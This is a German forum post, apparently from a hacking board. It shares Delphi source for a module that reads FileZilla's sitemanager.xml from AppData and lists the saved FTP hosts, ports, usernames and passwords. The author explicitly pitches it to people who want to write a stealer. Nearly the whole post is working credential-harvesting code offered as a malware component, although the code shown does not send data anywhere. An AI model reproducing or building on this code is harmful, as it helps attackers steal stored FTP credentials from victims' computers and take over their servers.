Keine Antworten in diesem Thema

[0x92]

Screenshot:

Please Login HERE or Register HERE to see this link!

Sollte interessant für Leute sein, die einen Stealer schreiben möchten. Sourcecode liegt auf Github:

{ ##############################################################
## Modul:	 FileZillaRecov
## Author: 0x92
## Release: 14.02.2014
## Contact: 0x92dev@gmail.com | https://github.com/0x92
## -----------------------------------------------------------
## Call:	 GetServer;
##############################################################}
unit main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, xmldom, XMLIntf, msxmldom, XMLDoc, StdCtrls, ComCtrls, ExtCtrls,
ImgList;
type
TMainForm = class(TForm)
XMLDocument: TXMLDocument;
Button1: TButton;
ListView: TListView;
Bevel1: TBevel;
ImageList1: TImageList;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
procedure GetServer;
procedure FillListview;
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
type TServer = record
	 Host : string[15];
	 Port : string[6];
	 User : string[99];
	 Password: string[99];
	 Name : string[99];
	 end;
TServerList = array of TServer;
var
MainForm: TMainForm;
ServerList: TServerList; //Array
Server: TServer;	 //Record
const
bShowMessageOutput = False; // Flag True = Messageboxoutput
implementation
{$R *.dfm}
function GetEnvVarValue(const VarName: string): string;
var
BufSize: Integer; // buffer size required for value
begin
// Get required buffer size (inc. terminal #0)
BufSize := GetEnvironmentVariable(PChar(VarName), nil, 0);
if BufSize > 0 then
begin
// Read env var value into result string
SetLength(Result, BufSize - 1);
GetEnvironmentVariable(PChar(VarName),
	 PChar(Result), BufSize);
end
else
// No such environment variable
Result := '';
end;
procedure TMainForm.Button1Click(Sender: TObject);
begin
GetServer;
FillListview;
end;
procedure TMainForm.Button2Click(Sender: TObject);
begin
ShowMessage('Author: 0x92 | Contact: 0x92dev@gmail.com | https://github.com/0x92 | v 0.1');
end;
procedure TMainForm.FillListview;
var
Item : TListItem;
i: Integer;
begin
ListView.Items.Clear;
for i := 0 to Length(ServerList) -1 do
begin
Item				 := ListView.Items.Add;
Item.Caption		 := ServerList[i].Host;
Item.SubItems.Add	 (ServerList[i].Port);
Item.SubItems.Add	 (ServerList[i].User);
Item.SubItems.Add	 (ServerList[i].Password);
Item.SubItems.Add	 (ServerList[i].Name);
end;
end;
procedure TMainForm.GetServer;
var
i, j, n: Integer;
sPath: String;
TransNodes: IXMLNodeList;
begin
sPath := GetEnvVarValue('AppData') + '\FileZilla\sitemanager.xml';
if FileExists(sPath) then
begin
XMLdocument.LoadFromFile(sPath);
if Assigned(XMLDocument) then
begin
	 TransNodes := XMLdocument.DocumentElement.ChildNodes['Servers'].ChildNodes;
	 //ShowMessage(IntToStr(TransNodes.Count));
	 //Set server array count
	 SetLength(ServerList, TransNodes.Count);
	 if TransNodes.Count >= 1 then
	 begin
	 for j := 0 to TransNodes.Count - 1 do
	 begin
		 ServerList[j].Host	 :=	 TransNodes[j].ChildNodes['Host'].Text;
		 ServerList[j].Port	 :=	 TransNodes[j].ChildNodes['Port'].Text;
		 ServerList[j].User	 :=	 TransNodes[j].ChildNodes['User'].Text;
		 ServerList[j].Password :=	 TransNodes[j].ChildNodes['Pass'].Text;
		 ServerList[j].Name	 :=	 TransNodes[j].ChildNodes['Name'].Text;
	 end;
	 end;
	 if bShowMessageOutput then
	 begin
	 for n := 0 to Length(ServerList) -1 do
		 ShowMessage('Host: ' + ServerList[n].Host +#10#13+
		 'Port: ' + ServerList[n].Port			 +#10#13+
		 'Username: ' +ServerList[n].User			 +#10#13+
		 'Password: ' + ServerList[n].Password	 +#10#13+
		 'Name: ' + ServerList[n].Name);
	 end;
end;
end
else
ShowMessage('Loading error!');
Exit;
end;
end.

Please Login HERE or Register HERE to see this link!